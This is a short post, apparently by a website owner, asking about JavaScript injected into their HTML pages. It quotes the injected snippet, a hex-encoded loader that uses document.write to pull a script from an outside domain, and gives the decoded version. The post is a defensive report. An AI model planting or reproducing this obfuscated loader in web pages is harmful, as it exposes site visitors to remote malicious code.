Javascript is getting injected into my html pages.
<script>var i,y,x="3c736372697074206c616e67756167653d276a61766173637269707427207372633d27687474703a2f2f7777772e636c617961696d2e636f6d2f696e6465782e7068703f7265663d7765626578273e3c2f7363726970743e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script>
Which I managed to decode, which is.
<script language='javascript' src='http://www.clayaim.com/index.php?ref=webex'></script>
I've contacted my host about it, will let you know how I get on.